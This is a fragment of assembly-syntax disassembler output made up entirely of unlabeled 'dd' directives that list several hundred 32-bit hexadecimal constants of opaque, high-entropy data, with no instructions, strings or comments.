		dd 0DCFB470Fh, 61788F6Ah, 521E76Fh, 0D60C6628h,	0A599177Ah
		dd 0EFBFB600h, 0A688C483h, 3CBB0024h, 9613C172h, 0D0F5EECBh
		dd 7C981880h, 627EDF00h, 82A352D8h, 3474BFh, 944B0BAFh
		dd 2DFFF93Fh, 0E867AD00h, 971861E9h, 0ECAF00B8h, 0C15AA152h
		dd 7807E4F1h, 0D0949F31h, 0CF25A330h, 513D0067h, 0F4BA8854h
		dd 60C0D24Bh, 0FDAB78C8h, 156F00BEh, 35B42125h,	2756ACEh
		dd 0F459B363h, 0A3080706h, 0F772C65Ah, 618A4078h, 26002785h
		dd 0CDDEEB6Eh, 185E1A64h, 6131F517h, 0DF0FAE61h, 5DADB9F0h
		dd 77D9FCC0h, 58D1491h,	4F514A7Dh, 0D5AE80E1h, 1900C35Dh
		dd 2CE415Eh, 38A2BD8Ch,	2D805A44h, 869EA6E0h, 9F303BCFh
		dd 0BB6D981Ch, 6C130099h, 0A9B7F794h, 4F77BEDBh, 92AA5E00h
		dd 0A2A5AC7Ah, 44384821h, 1B869C00h, 1846E2ECh,	0AC8C5328h
		dd 0FE305CF0h, 1E94E1EEh, 0D19B001Bh, 0E8D98D98h, 6C005790h
		dd 40DBC02h, 0B63C6Ah, 0B433BB4Fh, 81727007h, 0D518860Ch
		dd 2A3551A0h, 0F8803022h, 19B16041h, 582007F8h,	325D30C0h
		dd 14CFF40Ch, 84769766h, 2836B00h, 6C6F01AAh, 68F8506Eh
		dd 3F8700ABh, 84285B3Bh, 8083BA3Fh, 0C860974Fh,	18C005C4h
		dd 6935206Ah, 0D0FC8DE0h, 69B69602h, 408FCCDAh,	38FFACC6h
		dd 1500D6D5h, 0B989F2BCh, 9E54316Dh, 213EEFA8h,	690A8050h
		dd 2E465C03h, 15A339E4h, 23813400h, 229CD031h, 243D4C24h
		dd 6022A420h, 91971084h, 44AE2EA8h, 42CB7600h, 39ABD2EFh
		dd 9F80CA5Ah, 43D895E3h, 3530EB38h, 87A3313Ah, 0ACE61FB0h
		dd 91FFFB3Bh, 0C2180620h, 3202618Eh, 9D2EA846h,	0B01443B5h
		dd 1F45BC1Fh, 0CE6DB3BEh, 2223B1Dh, 5C4887D2h, 0DF00D905h
		dd 4DCA4838h, 0C71F1BC7h, 0E0C88C71h, 296B234Fh, 65E7EE0Eh
		dd 69A740A6h, 14BC1434h, 9092754Ah, 7001452h, 1BCDED0Ch
		dd 811E173Dh, 0BA0AC611h, 301A48Eh, 0E6D1EA32h,	0BCAF6080h
		dd 0E96736A9h, 0EF2E6A00h, 3A15421Ah, 0A21F0049h, 46B403FDh
		dd 0CB285223h, 9405BAE6h, 95B808D2h, 896BA420h,	0C0BE00E4h
		dd 0EE9917DBh, 7500A957h, 932EF758h, 2D22A02h, 0F1FDCFEFh
		dd 84A0B940h, 3A39389Dh, 0FCC9E824h, 4BEC00CBh,	0E0AE0Bh
		dd 0D6EC5A33h, 9424064Ah, 9EB8F303h, 14375595h,	0F0174CC0h
		dd 82DD2501h, 4834D91Fh, 2F3190C4h, 0E233E9E9h,	43A48D42h
		dd 69D3AA54h, 219F185Ch, 0B979C0B3h, 0C961B4F5h, 34686D00h
		dd 0AD1F5F96h, 15600277h, 0BA89B667h, 6AD8F881h, 0AA80416Eh
		dd 0A6B04CC0h, 8C8A952Ah, 412A8B00h, 61F0782Dh,	0D2DB0021h
		dd 0ABF69D9Ah, 51003C7Ch, 7E13B9C2h, 3C596D1h, 0EBD23DCBh
		dd 686E668Ah, 3BD1D8E8h, 93D9C58Dh, 0C7598015h,	2E1210D9h
		dd 3060384Dh, 0EE823B0Dh, 6ACF12EDh, 68380049h,	0C9CE0FA3h
		dd 7021DB0Ah, 0F409A495h, 3C342019h, 10BBB33h, 0E65E1DF8h
		dd 0FD54D1C5h, 0AAD240A5h, 0A89195BEh, 0DF328AA0h, 6497914Ah
		dd 847100C0h, 41F7CFADh, 0B000FCE0h, 0A1DE78Fh,	18D896ABh
		dd 0D18ED038h, 1303BB52h, 0DDFEB857h, 8DC3D03Bh, 0D7810060h
		dd 0DFD1E0A9h, 0BA00F559h, 368EC8E2h, 91AFF7D0h, 0B6948CACh
		dd 3303A279h, 9F183680h, 0FF90FF48h, 12DB344Dh,	61E1FDB9h
		dd 0EF3C8BC0h, 0D1833909h, 1524205Ch, 3A9ECF92h, 0C9244962h
		dd 0B1C207C4h, 0EE6BD3DEh, 0A01C7040h, 0E62C0D00h, 7D576EDDh
		dd 9C654DCCh, 0C6848BC4h, 0B1E83189h, 4C695967h, 0C2B07497h
		dd 4C0605A5h, 10DCC8D9h, 0FC329237h, 0C82CC625h, 0AA826118h
		dd 40514546h, 78F9F1A4h, 0D7860E5Dh, 5E27AC0Ah,	9002DBAFh
		dd 0CF26A420h, 715120D0h, 933C1704h, 10D8EFE0h,	1F2B26A6h
		dd 634CC078h, 0B72C3078h, 0D441401Bh, 0BFD8928Fh, 0A8B500E0h
		dd 0E68AAA50h, 827A2304h, 9DF4740Ah, 2AC7D803h,	0EEECACE2h
		dd 0C4950018h, 363EF2D1h, 891DA8B1h, 0FBCB4885h, 0CF881823h
		dd 0D07B0F53h, 9E64B2A0h, 3B248844h, 0FC0094A4h, 0FF78CE08h
		dd 665B2Eh, 38C3F234h, 0C052F0B3h, 5888EE49h, 0B4C22AA9h
		dd 37428210h, 0DBB21500h, 0C55CC361h, 68449492h, 833224F0h
		dd 0C27D6080h, 93523B02h, 554411F0h, 0E6B8BD0Ch, 0E7079BE9h
		dd 0C904B55Eh, 1E1CABC3h, 14CF7931h, 0EB89CC0Eh, 8CE83804h
		dd 70AEB1FCh, 30054A1Eh, 884D640h, 1ABFA42h, 0B73B067Ah
		dd 4C049720h, 89608298h, 0D7EA2A41h, 0A9DF00B0h, 23EE6FE3h
		dd 0B81EA5ECh, 9301F57Fh, 43D63B8Eh, 0A8BCA3FFh, 263E65E6h
		dd 4264228Bh, 0DCA018F4h, 0E3664FAFh, 2FB8E500h, 2357C47Eh
		dd 72BE12F5h, 708030FDh, 0B9C0393Ah, 0DC1F9DC1h, 0C9B11FF1h
		dd 0FA9197F7h, 29C8AB02h, 0ECC420h, 0B89DA666h,	0A37FE96h
		dd 1BE03200h, 416A5F18h, 8BFA0BEBh, 0E410C219h,	73481F35h
		dd 33D2A028h, 0B58800ADh, 0E829A564h, 8B2494E0h, 1BC5A418h
		dd 38309C13h, 0CE1BC6Fh, 0A331C428h, 0DF032261h, 86CA7909h
		dd 7BC98093h, 0ACAA4D88h, 49C82026h, 5BCF390Eh,	6B8B9A82h
		dd 901262FFh, 1B7EB2Ch,	9DD1BC07h, 803BCFBDh, 3EEEEC19h
		dd 0F0471A12h, 51C001D9h, 0D203DDC4h, 300C2581h, 0D09302FBh
		dd 80970386h, 0CF110121h, 0C01A883Ch, 0BEB030BAh, 1435FC13h
		dd 0E182EC21h, 1AA6DC50h, 6A5900EDh, 307FCB9Bh,	0A89B8543h
		dd 3D009591h, 0C84C1191h, 6C50358Dh, 0F2018C0Ch, 644B75D4h
		dd 0D0262071h, 5C9BBD02h, 0F4E92DCBh, 0B0F891E1h, 2578211h
		dd 8FA1DA8Ah, 3A184549h, 0DC001C20h, 0B4A8791h,	2FC563h
		dd 0F4EA6E05h, 0C1176D1Bh, 0C902ECF3h, 0DAE3DC09h, 90901021h
		dd 0AC062EA4h, 6277005Eh, 0CCD557B3h, 83FD9F04h, 9B5320h
		dd 9BB45900h, 0A44BB76Fh, 9722F30Bh, 43E4810Ch,	88323DA5h
		dd 6403202h, 0A0C99B10h, 75481015h, 0ED18002Bh,	1A1390C3h
		dd 0AA12A2AEh, 448C9403h, 729F0023h, 32108448h,	260B5667h
		dd 875AB8DAh, 12E280B8h, 51A6h,	0A244C7F2h, 0F000BC04h
		dd 0D7022025h, 1219AC29h, 881F838Dh, 0F700093Ch, 0B0C66950h
		dd 0B35BB9DEh, 0A0D8081Ch, 191E358Bh, 8E096734h, 0AB51C890h
		dd 31981839h, 1721C036h, 0B0818D95h, 70084F00h,	0EE141A4Eh
		dd 255AFC25h, 0D800EFEAh, 0F63E6450h, 0B4282170h, 8C90F073h
		dd 0A9EE3910h, 0A498F025h, 78A0F462h, 44007BE6h, 405A9FFAh
		dd 10CD8Ch, 557577DEh, 0B4CA46D1h, 0B9D90304h, 84886EB3h
		dd 0CB71027Ah, 5B54A76Ah, 0F437A466h, 0FDC0E96Dh, 0AC0748AAh
		dd 299E09FCh, 0B4A4539Dh, 0A54640BBh, 2EFE6694h, 260417BDh
		dd 0DD61607Ch, 5E018AD1h, 0AE4636EBh, 0B3F01EB9h, 4E0F0EFh
		dd 94BC77E9h, 814820Eh,	323AC128h, 20486952h, 20348DEEh
		dd 8FBB8105h, 0ACC046F2h, 1440FF5h, 1D50826h, 26FABCC8h
		dd 0F8332C94h, 2CF76B02h, 3FD3607Ch, 2E957BDCh,	426C9F09h
		dd 83804F50h, 0C05C6285h, 3143BC94h, 0A81008Fh,	0F9838A3Eh
		dd 0D100D808h, 0D9C763E4h, 2709DA24h, 0D820989Ch, 83D3FCDDh
		dd 0EB680C00h, 94AD455Bh, 0FB6F1521h, 0CB8FA83Dh, 0BD0537E8h
		dd 48161D0Dh, 621BA845h, 2ED0C840h, 3C51802h, 1FE8DBE6h
		dd 9901A560h, 0C0430F32h, 5C20D838h, 30A28A8Ch,	3103557Ah
		dd 821900A2h, 286B1A69h, 0C600EBB3h, 32349EA1h,	9CF4A2F6h
		dd 8626404h, 3C328470h,	8A3CCCA0h, 0E6DB4407h, 0AB90E951h
		dd 0F10E10FDh, 99E0D0h,	0F65A26B3h, 8B271F33h, 0EBCC6513h
		dd 2B17A060h, 970E43Ch
		dd 381D5A86h, 304464E4h, 0EE940236h, 37689899h,	80D89C43h
		dd 8D1718B3h, 0D0028396h, 0E14419h, 9B99BACEh, 0FBC43C9Eh
		dd 5F8DFC82h, 0C02835C1h, 0EB581866h, 97300B70h, 9C00829Dh
		dd 0A00B0053h, 0F20071C8h, 6108DFA5h, 0AEF03342h, 18B75CDCh
		dd 90D4FA9Eh, 0B69099h,	9DC73F3Dh, 0D4E3A4EBh, 1DD37216h
		dd 9FA18008h, 0B28D453Eh, 9220C0F3h, 0D80647Fh,	30838960h
		dd 189C9F70h, 0D453B781h, 0BBE12515h, 798AF2DCh, 26D90033h
		dd 65AF823h, 7D2A4B6Ch,	73487CF1h, 0D6FDC0E8h, 72090363h
		dd 0CA1F00B1h, 0B7905F30h, 5F82375Eh, 0EAC8E5E0h, 8BC23C9Ch
		dd 8CC513Ah, 0EF9242BAh, 0C72388Dh, 0BB6D7003h,	0CEC3163Ah
		dd 1736F822h, 0AA9423BCh, 0B555B007h, 0DEBEE650h, 0AFE0A9C5h
		dd 0A7C20C38h, 18C41E2Bh, 0E16C183Eh, 0A9073549h, 0F657198Eh
		dd 49651E00h, 327A362Ah, 7F140D7Ah, 0C464EC54h,	0F88C8123h
		dd 0B1C0A9Bh, 6264E4C8h, 50025396h, 3560D501h, 7004547Eh
		dd 5526335Bh, 77D323C0h, 1BA928FCh, 0FA460050h,	0F470608h
		dd 8300CA17h, 0BFCBAE4Ch, 9CEBE2ECh, 9B5808C8h,	149F8030h
		dd 1E40B0C8h, 0E6280F93h, 0BDECC05Ch, 28946F30h, 0F2007391h
		dd 2D4D087Bh, 6A00AA8Eh, 2F354384h, 4CDC7Dh, 0AE5B909Ah
		dd 0A21B247Eh, 8B5AFD13h, 39012C30h, 0D0DD3A90h, 90EDB915h
		dd 0C55C3093h, 5800EA6Fh, 2F0B24DAh, 9321D96Ch,	48A0D0h
		dd 8381C9D6h, 3EE1F14Bh, 0C75F58h, 4099D836h, 49F8F02Ah
		dd 0A322047Dh, 0E716A000h, 79CA20Dh, 2B9800EBh,	156B6C86h
		dd 629439Ah, 8212945Ch,	780C14D0h, 623300B4h, 215122B5h
		dd 0E5ED66E9h, 0F058C006h, 1C9C9C59h, 7C246130h, 18609426h
		dd 0FDC38Eh, 0E309374h,	20061E79h, 5047A509h, 7D18B0EDh
		dd 0A20201C4h, 1C1B10E2h, 843C2C0Fh, 0A4C8DB1Fh, 19BB6097h
		dd 9B8A5CC7h, 0D006D604h, 0E4B6EACAh, 0A0943D25h, 860C2813h
		dd 12BC4B04h, 0A422B8E6h, 4301CF74h, 9BC0903Ah,	199C946Eh
		dd 75420076h, 9DFE82DDh, 0B80CB001h, 0DF3C07B5h, 84102028h
		dd 795C0034h, 25CCD93Ah, 63100004h, 81C49668h, 0F0433F0h
		dd 1AE8905h, 2300D8B6h,	9FCF1221h, 9D0918E3h, 836F2EFBh
		dd 8926C5A0h, 0D86D2AA5h, 63B5A701h, 0C43CC2A9h, 0B00395C1h
		dd 1D9A7536h, 9F5CB189h, 347354DDh, 8895EB13h, 0B7886BBCh
		dd 0D8418AB9h, 0F6462D5h, 0D8A0E3D2h, 81D1ACE0h, 0BA3AC8CFh
		dd 0C84031DEh, 0C33B1A2Dh, 4A493B9h, 0CCB4BDADh, 0E7742F60h
		dd 73402C9Eh, 772CB778h, 4C24B4A5h, 8E446C80h, 54D1E6B4h
		dd 35A8BDh, 0FE4D97BEh,	998E27DAh, 84956909h, 0A044C4Ch
		dd 3C1F2A32h, 690D83FCh, 9F98E7FFh, 0E40CACC2h,	0F8C04168h
		dd 0F490443Bh, 2703F8B1h, 80E8F799h, 9333AABh, 6A9DDEB0h
		dd 408CACE3h, 17ED58BEh, 811F05EAh, 98FBB2C0h, 0D25B7DE0h
		dd 3F235C40h, 0BB3E539h, 0FB6E1AA2h, 0B4167203h, 0ECA75090h
		dd 81DAB26h, 4E4787C4h,	0E732534Ch, 76E2C6BAh, 8A013473h
		dd 5BCEA65Ah, 0D05FC73h, 0D5B242h, 0F53E49D4h, 0BA000F95h
		dd 438E16A6h, 131434CDh, 80B04C5Ah, 7B45010h, 0F0D87428h
		dd 8E81C899h, 0DD3D013Bh, 5C92BDCh, 0E03786F3h,	0AF74209Eh
		dd 761483BBh, 0C0640482h, 29DF0E32h, 12B8FA3Ah,	98EDB52Fh
		dd 7F8834D8h, 62CA1C5Ch, 8854EA4h, 2F3C005Fh, 0F6ACF026h
		dd 6BE60F09h, 274C1020h, 234A00B4h, 31E72ECCh, 0E3B1A91h
		dd 0F21D0E7Dh, 3038C4B2h, 38C9C897h, 61DB18B0h,	69354972h
		dd 0E29C54ABh, 0CFDF0044h, 0CD7B071Ah, 0C80C00DCh, 0A47F3669h
		dd 3F00D552h, 5EE32D9Ch, 35897E1Fh, 889A0253h, 41082720h
		dd 0AFAD9Fh, 42AC8E85h,	5A7D9598h, 0F043C603h, 0D0F97147h
		dd 30D24633h, 4E7826C8h, 0E8003623h, 4BE3E4DCh,	0B31CDA30h
		dd 6EAB0AA4h, 20D11334h, 0F8D96934h, 0DAB1DC00h, 9AD2D742h
		dd 52F601CFh, 0F768ADA6h, 0E5BC58EFh, 101D672Eh, 7A773CC0h
		dd 0D4EA00F7h, 78F1B92Fh, 8949DEB2h, 62A137Ch, 0A80A2C89h
		dd 0B616011h, 5657E66h,	8080AE8Ah, 38DBE813h, 5B923156h
		dd 23CA649h, 770E18E4h,	2E0C4580h, 10488074h, 6C68F6E8h
		dd 6039D377h, 8EDE00E4h, 0AE97DC32h, 0D4D74CE5h, 0FCA3FE27h
		dd 0B3B8478Ah, 2004A33h, 0D4113F7Bh, 4A16E06Bh,	355C0C67h
		dd 1C9694D9h, 0B313C180h, 2E3BC2h, 0F853E125h, 22EBD0F9h
		dd 2039DE0Bh, 0DFA8C88Ah, 0ACE72C23h, 79E1144h,	0D32E6AC6h
		dd 10388851h, 0F602A038h, 9AEE91D6h, 943A58C4h,	980300EAh
		dd 0BA6B0BABh, 0EF490F27h, 0B924CE7Eh, 424A37Ch, 88839016h
		dd 89A278A4h, 645660EEh, 2D67103h, 0D4FDB178h, 0C0F4E7C3h
		dd 152894ADh, 0B825E5DFh, 0A392BE80h, 0A204216Fh, 0EFD934BCh
		dd 0E1F9CCAh, 0CA0D8FF7h, 0D15C7824h, 12A40994h, 0A9A084EBh
		dd 272A1CA0h, 0D0223223h, 46108ED4h, 60834FC2h,	53F82128h
		dd 685890B0h, 32DC0168h, 66F6FED6h, 0E5251C36h,	409C0C33h
		dd 4274C6F9h, 3C093E41h, 2D14DC80h, 0ADE2D24Ah,	20432F2Fh
		dd 0D72A1D5Ch, 4C496EEh, 865E612h, 40329DBDh, 6004D645h
		dd 5A2896EDh, 3708B886h, 96A1BE9Eh, 336088EBh, 1221733Ch
		dd 0D8A6D9DCh, 795BD218h, 0A400148Ah, 29967344h, 2D55551h
		dd 0B732D17Ch, 0AC83F0ECh, 10FA63AEh, 0F6970051h, 9BE2098h
		dd 3A78E5A5h, 6422D010h, 102560E7h, 0AD45DC01h,	5BB9F0D0h
		dd 2838492Ah, 4456F4EAh, 0CAC0FA9Dh, 9F0AE394h,	0CDB739E4h
		dd 0A7D030DAh, 0C0E07E68h, 612E709h, 976CC941h,	4324A469h
		dd 0C9360256h, 0D4798A0Ch, 521D8284h, 7048E907h, 0C7B7ED44h
		dd 0F000C579h, 736850BEh, 0B9DE4271h, 2171738h,	0B39454A8h
		dd 0F4751C20h, 8C410E3Eh, 45E0AD9Ch, 506C0621h,	0C4291301h
		dd 0F5164CC9h, 4AD900D7h, 30A5B5FFh, 980467D5h,	255E9F3Eh
		dd 732248ADh, 0BE003890h, 3DBD469h, 9CA836h, 0D835798Fh
		dd 0ECBB2193h, 0BC3BC604h, 1082E79Ah, 808CF9E1h, 0CA0E337Ch
		dd 3C943D1Fh, 7409444h,	0A871CD1Bh, 9A04657Eh, 95BB856Dh
		dd 2FE028C9h, 5C8EB99h,	0BF0C0781h, 4096497Fh, 1654BBD3h
		dd 0ABF78802h, 54BDBEADh, 0CD52E09Ch, 0B01EDD2h, 73979EFh
		dd 1823FAE6h, 0ADC0B0D2h, 3742BC10h, 604CF026h,	15C3EF0Ch
		dd 512BED01h, 96BC14BFh, 9432F189h, 1B3674C8h, 4A003C7Ch
		dd 4173DF8Bh, 0F0E974h,	159EFB05h, 1D509F25h, 5DF49D07h
		dd 1419831Eh, 0C1A0659Ch, 5E0A43Bh, 3E9C8000h, 0FD60B013h
		dd 226A0AA8h, 0E7B4FA68h, 0D8908B2Ah, 8E09E347h, 723BE5ABh
		dd 7A0E00C0h, 39DF0717h, 2F0061B7h, 6238E465h, 1D94E090h
		dd 418B46BEh, 3345E5DAh, 52EC017h, 0D87CF01h, 0C8369D9Bh
		dd 50776BF1h, 0F7B2A3Eh, 0A11F92A3h, 0C6CF352h,	8171D818h
		dd 0D13B4B35h, 64CE82D8h, 9E006FD8h, 11692EEEh,	2103688h
		dd 51444698h, 1880FE17h, 48647705h, 0E057B11Dh,	55BDD580h
		dd 169B5078h, 0E5AA09Fh, 3280EC8Ch, 26021A0Ch, 0B8DC8F30h
		dd 27C9FEB0h, 24203CBDh, 0B5BB94D2h, 0D8FC072Eh, 4C82878Bh
		dd 0BF67211Ch, 65024F80h, 4B4C9E3h, 3FBBB089h, 0A5F0886Dh
		dd 0C1EA6802h, 3A81CBABh, 140F005Ah, 4B7B3A2h, 20B3D0D7h
		dd 6F2B1700h, 0CA44ECDDh, 0F1675301h, 7C54BCB7h, 1834C825h
		dd 0C5178865h, 9B8B590Ah, 2D3CC8FBh, 3D5890F5h,	471D0004h
		dd 3F41496Dh, 0DF3D3E10h
		dd 0A2EE007Dh, 439E32B6h, 4B64120Ah, 0A8F420F5h, 0C00DD0Dh
		dd 5FDFFD37h, 0B4BB65h,	9BEFE481h, 0ED8AD750h, 46C1D09Eh
		dd 7C7CCB9Eh, 8CFD1A80h, 1B5A9661h, 15048040h, 59CDFF8Ah
		dd 0BDC1A411h, 0EC1FCE9Bh, 88AE82DEh, 4C40FE4Fh, 3DAB40E4h
		dd 64C2007Ah, 8111622Bh, 0F8A95054h, 1C62D1h, 668C7508h
		dd 15D9FC4Fh, 98CDDEE2h, 0CCB96427h, 12C693Dh, 7DEC4CCFh
		dd 6930AC8Bh, 4F1C7DB7h, 4E5C726Eh, 550E405Fh, 31A5886h
		dd 0D8380372h, 0BB0B0950h, 0CEFB5CD0h, 94138C93h, 66DF2020h
		dd 0C4C202F2h, 1C2102D9h, 6500D8FAh, 0FA083C84h, 1DA593EEh
		dd 0C0FEC15Eh, 3EF5A8CAh, 214ABB99h, 7600F48Bh,	0CA525F46h
		dd 8B00F8ECh, 0A6B70250h, 0B165701h, 0DAC8E7B9h, 81E68E1h
		dd 2274B01Bh, 708094D0h, 31006DEAh, 60B67417h, 1AB1B7h
		dd 1D69D6D4h, 0BB25751Fh, 4BA458FDh, 0B671700h,	0A066797Eh
		dd 462A03F5h, 0D01F4937h, 0F7F3A4B0h, 8C9AAF4Eh, 40FE5C14h
		dd 0C191D01Eh, 13CAA7D9h, 0DB8EE862h, 88B6F100h, 0B27A4787h
		dd 4520025Dh, 6ACFEFE8h, 0D80794C0h, 0A0502CE3h, 0CBBAF5Eh
		dd 5AB5958Eh, 390169A8h, 976C66EDh, 703D83FBh, 45313B84h
		dd 0C0D9DB18h, 0B872EEh, 72B29E53h, 9284BA19h, 0E020CA0Bh
		dd 46CC3245h, 0F1490358h, 7741303Bh, 284B7BD8h,	0F8D8B12Ch
		dd 12C01A60h, 49CB000Ah, 0B689C1BCh, 0ACEE1F8Ah, 0F65ABB17h
		dd 2A9BB4C0h, 5D423CB0h, 0F0C9AB8Ch, 0DF406CF8h, 5433EB18h
		dd 84B5761Eh, 0E3C9F113h, 0D1781230h, 55F30E4h,	7CAD10E4h
		dd 8FFFC023h, 0FD00D4BAh, 0E6B789DBh, 0EA9CA9h,	44F5BB7Ah
		dd 55D9BC7h, 0DE24F000h, 0C4690D91h, 383895E3h,	1E842387h
		dd 713C66h, 3FDFD672h, 9C2CD00Fh, 0D5E20CBDh, 90322073h
		dd 98BED3B7h, 16029E80h, 3C5C127Dh, 0E4800A2Eh,	8A2896FFh
		dd 0BB39C132h, 77330038h, 22DD0B7Dh, 0A9F0500Ch, 2E21008Ah
		dd 1468D3EBh, 1618F192h, 7D08CE84h, 0AFCC0015h,	5D62E801h
		dd 171846EDh, 0AC160A2Ch, 57742636h, 5B3833BAh,	7921FB9Ah
		dd 1D3E82Eh, 8AA59E18h,	0F0C28914h, 240C8530h, 39213ADCh
		dd 66A81CC4h, 1CC789BDh, 65475180h, 7C7294FFh, 0FB8E1100h
		dd 0DC0DB2BCh, 69851E72h, 29D016Fh, 94D5DA09h, 3BC9270h
		dd 0C6FC26C4h, 89AEB1h,	9DF7E48Ah, 0A9790F90h, 8091653Fh
		dd 2B0763C6h, 180D2F06h, 0D080413Ch, 56227947h,	49365CB5h
		dd 33480130h, 1400A7DBh, 9B197608h, 0FE829EEh, 0EDDD0BCh
		dd 2A5C0392h, 0FF882F0Ah, 0C100F9DEh, 12697BACh, 617A179Dh
		dd 7E3AA9A1h, 0F3608063h, 6DA0E09Ch, 83F000BCh,	6237B11Bh
		dd 7863AF58h, 0D6DBC1h,	0D4084A39h, 0A597760Eh,	0D7F26201h
		dd 330DF841h, 119EE0h, 634B2E58h, 974E7F6Ah, 4FEB2100h
		dd 1FCAE1E7h, 0D0A0A9Dh, 2144D37Bh, 0B6803FDCh,	0FA036D78h
		dd 0B17EC93Fh, 12FB3Dh,	0B7C0FD0Ah, 0C0D4A7E0h,	0E54B5439h
		dd 0B000C251h, 1F781E3Ch, 0A2C131Dh, 29E8A1AAh,	774A0070h
		dd 21ED15DCh, 0B40BDD29h, 2E477B80h, 0CDCE86Eh,	0C5E35BA3h
		dd 630772F1h, 7F92D10Ah, 3BCF0C3h, 0AD03EF19h, 1100E3B1h
		dd 0EB81C63Bh, 771FF6B7h, 0E8917A6Bh, 7F8FB099h, 0A06C92AEh
		dd 0F2A2C218h, 0F1586029h, 3369269Ah, 17430300h, 0FFD5A860h
		dd 0BCB500A3h, 0C3B4C7F4h, 63332538h, 98BFA029h, 30E94C75h
		dd 398177BBh, 0F002B60h, 3C2F8C3h, 0E0A6589h, 0E1A19404h
		dd 7855114Fh, 80E47E29h, 6282249Bh, 8D39674Ah, 1894827Ch
		dd 0A3733AF8h, 88A44B9Ch, 9F2DA58h, 96461265h, 3C726810h
		dd 2B9514A0h, 0EAC24C00h, 0FF5C496Bh, 0AB27038Fh, 0DCF71471h
		dd 0D4247174h, 0DD8EEC70h, 4BFD462Fh, 89843011h, 1FAD1359h
		dd 76000A7Ch, 63C3DE43h, 147259Fh, 461495D9h, 58F37766h
		dd 8530988Ch, 88D241CAh, 25174CFh, 1BDAFA22h, 0DF60B8C0h
		dd 0BA00450Ch, 74E9C229h, 0A235369h, 75A3DF36h,	9DD1C080h
		dd 64184AD8h, 7FA10212h, 0BBE70739h, 13550CB2h,	67EBFA9Dh
		dd 413A0E88h, 3B2F0812h, 0B85E3823h, 3C155B26h,	0AD14653Eh
		dd 7A50DCC2h, 5C0A4F5h,	780F3082h, 0F7F4012Bh, 0F2D725h
		dd 0A475D15Bh, 0AF850AB4h, 67CCC883h, 89E010F9h, 531349BEh
		dd 84202DE4h, 2029EBECh, 18007DEAh, 7387FC0Ch, 76A53h
		dd 0B5E381D5h, 5BE761Ah, 0ECEE6300h, 0A01A1BCh,	591118E2h
		dd 49BA7869h, 61FE4E01h, 0B79E63E0h, 9C952422h,	40D2C585h
		dd 5126BD94h, 5A0031D4h, 9C633FEAh, 7A64474Bh, 7DF80748h
		dd 0FCFDD322h, 0E2608469h, 4473BCE9h, 491C09F7h, 2020BBFFh
		dd 950B9FC3h, 7A7D1726h, 72656E07h, 64F81960h, 88FC3258h
		dd 0C64DB41h, 13627600h, 7C5A4E68h, 0C938031Eh,	0DB107881h
		dd 3CBCF1B8h, 4F93C200h, 0D82F638Fh, 7C0248B9h,	6000722h
		dd 51B57052h, 3EBCFCF2h, 78D4E976h, 2422EE4Eh, 80E45B29h
		dd 9FEEF6C1h, 0FF01B3B8h, 0C76EB60Bh, 0EAD9C091h, 2477D088h
		dd 114D1409h, 0DC40D188h, 49894958h, 0B3846809h, 0B052208Bh
		dd 0AD08012Eh, 0F518D7C3h, 5C2DF45Bh, 2679BC7Ch, 0AC11E324h
		dd 57246C40h, 125200A7h, 0F53B99EAh, 0BF13E93Eh, 0CC03FADEh
		dd 1C022575h, 0CCDA36E9h, 16112CD3h, 1874DC52h,	0E2191FC5h
		dd 977900CBh, 0FC99EB7Ah, 45006AA9h, 0E0842E6Eh, 7E12094Bh
		dd 0DA2C1DC0h, 3E031A6h, 0E9BEE80Eh, 30134200h,	954DE8AEh
		dd 0B31101C3h, 24987FB2h, 639042A7h, 84627B25h,	7278680Bh
		dd 0A403E6D3h, 0C308079Ch, 778CBA5Ah, 2D82E331h, 0EC78A924h
		dd 19ECC5C7h, 27A03C6Ah, 0F94AEC05h, 8ACBC051h,	0E1DA9EFh
		dd 4B0F877Ch, 0D72F03D2h, 0B1690FAFh, 0C600A6F6h, 0D1A3B8FEh
		dd 77501E07h, 61674012h, 3A7C227Bh, 134C4ACh, 0EA6BCA89h
		dd 80AEDADDh, 21CD449h,	26E231h, 3CEEC934h, 0A4838B4Fh
		dd 41ADA09h, 9B68B8F9h,	80689146h, 0F2E981FCh, 3C01962Dh
		dd 0C9D1350Eh, 6AE4628Ch, 2FA92698h, 9D1B02F4h,	1C4B768Ah
		dd 0CA4DBFD0h, 0F041500h, 0C157AAB5h, 618D1413h, 57ACD07h
		dd 0A6738A0Bh, 0F1B8CDF3h, 97A00101h, 267C88C4h, 1EC6AB25h
		dd 58E2C046h, 595CE922h, 0C380C00Ah, 2CC4B865h,	90E3B740h
		dd 0B62E43F2h, 8A65445Dh, 55CA3000h, 3B76B28h, 7C8EAD5Fh
		dd 67939583h, 0E57380B4h, 22F6108Ch, 0AF16F0E6h, 0A40EB986h
		dd 0BC215275h, 719F76C5h, 6DEE007Ah, 0DA9D054Ah, 91468509h
		dd 7B18B8F7h, 0BB360F0Ah, 49602BFBh, 0DBD709A5h, 8E0B4A8h
		dd 8683FC02h, 0A174AAA3h, 66AB5B6Ch, 20AD7D03h,	849CC368h
		dd 0B43F790Eh, 490BE0D0h, 330D08F2h, 659EA4Ch, 85452CA0h
		dd 0D9796902h, 64F75BFBh, 0D2DA3A5Ch, 8AE4AA00h, 0C12C3D94h
		dd 690DC700h, 0D9C5E03Ch, 0DF65000Eh, 70CA9DDBh, 510681F6h
		dd 1BA249F3h, 0A7881F38h, 264F40BBh, 85142128h,	192F5603h
		dd 93DB67BEh, 5C9FF899h, 22F10093h, 0C10583DDh,	90717A89h
		dd 450F600h, 0F3211ABCh, 6090397h, 28C62260h, 0F7246DC0h
		dd 0F85F0300h, 40BE04C4h, 0EBEA0016h, 0FBD67E55h, 8C38560Fh
		dd 0AA0680E8h, 7933A3C4h, 3BE76BFh, 0C0C8B06Ch,	0B9001270h
		dd 0A58D5CEBh, 3126E8E4h, 0B339EA6Ch, 0F48FF402h, 0CC788A03h
		dd 985664E7h, 7C539DB7h, 336800B1h, 441CE229h, 0DA0372EFh
		dd 5EEBEDC4h, 2B510854h, 498D755Bh, 188008D0h, 78301484h
		dd 0FF065ABDh, 0FB1E57E6h
		dd 85390329h, 0E0DF0416h, 0C808CE2h, 0AE343E38h, 68F66Bh
		dd 309E5BCDh, 7DDD1825h, 0B30658F5h, 114B2400h,	0C5150395h
		dd 5C690FA2h, 1E807173h, 7F61B7D3h, 4AEF300h, 7BDCD110h
		dd 7020027h, 0C0A55D6Bh, 0B6A0E2FAh, 900CE64h, 0FE3B83F0h
		dd 0DDCC16h, 4668F71Fh,	3078389Eh, 935449CEh, 0A106F400h
		dd 3E4764FCh, 3004A93Ch, 0C0EEB69Ch, 72660EAh, 340E8A01h
